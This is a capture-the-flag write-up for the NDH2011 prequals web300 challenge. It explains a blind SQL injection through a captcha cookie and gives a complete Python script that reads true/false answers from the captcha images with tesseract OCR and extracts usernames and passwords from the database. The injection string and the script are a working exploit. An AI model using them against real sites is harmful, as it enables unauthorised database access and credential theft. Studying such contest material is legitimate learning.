[NDH2011] prequals::web300 write-up
The goal of challenge (made by root-boy) was to get access to a flag protected by authentification. The challenge consists of a form with 3 fields:
  • Login
  • Password
  • Confirmation code
Trying to bypass the authentification through these 3 input fields should not lead to anything interesting so where can we feed our evil input ? You might have noticed that the form uses cookies. The good news is that the one named "cap" is vulnerable to SQL injections. Once you have played about with this cookie you should understand that the SQL injection is almost totally blind having only two different outputs for any request:
  • a normal captcha
  • an error message written in the captcha picture
Moreover, there is no way to distinguish an SQL error from an empty mysql response set so you must be very careful with the syntax of your injections. The next logical step is to find a way to query the database in a true or false scheme. In particular, our goal would be to generate an error messages for a false response or a normal captcha otherwise. Note that using conditional errors will not work(as the cookie input is used twice and it seems not possible to achieve by being syntaxically correct with both). The only real way to get this done is to distinguish
  • the error received by an empty set result from sql query
  • a non empty set resulting in the display of a normal captcha
This injection is actually quite hard to find since it is pretty unusual: ' OR IF((__condition__), TRUE, FALSE) OR 'a You will need to use OCR capabilities to recognize the ERROR contained in the captcha. Now you should be able to dump anything you want from any database either using an sqlmap tool modified to read its response from a picture or making a tool of your own. Here's a homemade quick and dirty script that should do the job. You can use any method from the class bot to list the schema.As I have already done this i am using the script to directly dump the `USER` and `PASS` from the `login` table I am using tesseract for OCR so you need to install it before running the script. #!/usr/bin/python import string import urllib import urllib2 import sys import os import cookielib import subprocess import time gl_charset = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" gl_request_timing = 0.100 # s between requests gl_request_timing = 0 # s between requests DEBUG = 1 class bot: def __init__(self, url, inject, values = None): self._url = url self._values = values self._inject = inject self._tmpfile = "tmp" self._InitCookies() if (self._values != None): self._values = urllib.urlencode(values) def _Request(self, cookie): global gl_request_timing request = urllib2.Request(self._url, self._values) request.add_header("Cookie", cookie) response = urllib2.urlopen(request) self._img = response.read() self._SaveImg() time.sleep(gl_request_timing) return True def _SaveImg(self): img = self._tmpfile + ".png" file = open(img, 'w+') file.write(self._img) file.close() def _ReadBooleanResponse(self): self._Convert() self._OCR() file = open(self._tmpfile + ".txt", 'r+') content = file.read() file.close() content = content.upper() content = content.replace(" ", "") content = content.replace("\n", "") content = content.replace("\t", "") content = content.replace("0","O") return (string.find(content, "ERROR") == -1) def _Convert(self): p = subprocess.Popen(["convert", self._tmpfile + ".png", self._tmpfile + ".tif"], stdout = open("/dev/null"), stderr = open("/dev/null")) p.wait() def _OCR(self): p = subprocess.Popen(["tesseract", self._tmpfile + ".tif", self._tmpfile], stdout = open("/dev/null"), stderr = open("/dev/null")) p.wait() def _InitCookies(self): self._cj = cookielib.LWPCookieJar() def FindDatabases(self): return self.Find("INFORMATION_SCHEMA.TABLES", "TABLE_SCHEMA", "AND TABLE_SCHEMA!=" + self._MakeCharString("information_schema")) def FindTables(self, db): return self.Find("INFORMATION_SCHEMA.TABLES", "TABLE_NAME", "AND TABLE_SCHEMA=" + self._MakeCharString(db), "\t") def FindColumns(self, table): return self.Find("INFORMATION_SCHEMA.COLUMNS", "COLUMN_NAME", "AND TABLE_NAME=" + self._MakeCharString(table), "\t\t") def Find(self, table, field, conditionappend = "", prefix = ""): global gl_charset return self._BruteForce_field_value("", table, field, conditionappend, 1, 0, len(gl_charset) - 1, gl_charset, prefix)[1] def _MakeHexCharString(self, str1): return "HEX(" + self._MakeCharString(str1) + ")" def _MakeCharString(self, str1): res = "CHAR(" for idx in range(0, len(str1)): if (idx > 0): res += ',' res += str(ord(str1[idx])) res+=")" return res def _BruteForce_field_value(self, val, table, field, conditionappend, pos, start, end, charset, prefix = ""): substr = "HEX(SUBSTRING(" + field + ",1," + str(pos) + "))" condition = "EXISTS(SELECT 1 FROM " + table + " WHERE " + \ substr + ">=" + self._MakeHexCharString(val + charset[start]) + " AND " + \ substr + "<=" + self._MakeHexCharString(val + charset[end]) + ' ' + conditionappend + " )" inject = self._inject.replace("__condition__", condition) res = list() self._Request(inject) resp = self._ReadBooleanResponse() if (DEBUG >= 2): print condition print "=>", print resp, print "start = %d, end = %d" %(start, end) if (resp == True): if (start != end): self._BruteForce_field_value(val, table, field, conditionappend, pos, start, start + (end - start) / 2, charset, prefix) if (start != (end - start) / 2): self._BruteForce_field_value(val, table, field, conditionappend, pos, start + (end - start) / 2 + 1, end, charset, prefix) else: lastmatch = val + charset[start] if (DEBUG >= 1): print prefix + lastmatch if (self._BruteForce_field_value(val + charset[start], table, field, conditionappend, pos + 1, 0, len(charset) - 1, charset, prefix)[0] == False): print prefix + "[" + lastmatch +"]" res.append(lastmatch) return resp, res def main(): global DEBUG try: if (len(sys.argv) == 3 and sys.argv[1] == "-d"): DEBUG = int(sys.argv[2]) print "DEBUG = %d" % DEBUG inj = "cap=' OR IF((__condition__), TRUE, FALSE) OR 'a" evil = bot("http://ownm3.prequals.nuitduhack.com/captcha.php", inj) print "# Login" evil.Find("login", "USER", prefix="\t\t\t") print "# pass" evil.Find("login", "PASS", prefix="\t\t\t") except KeyboardInterrupt: print "C-c received... stopping" return True if (__name__ == "__main__"): main()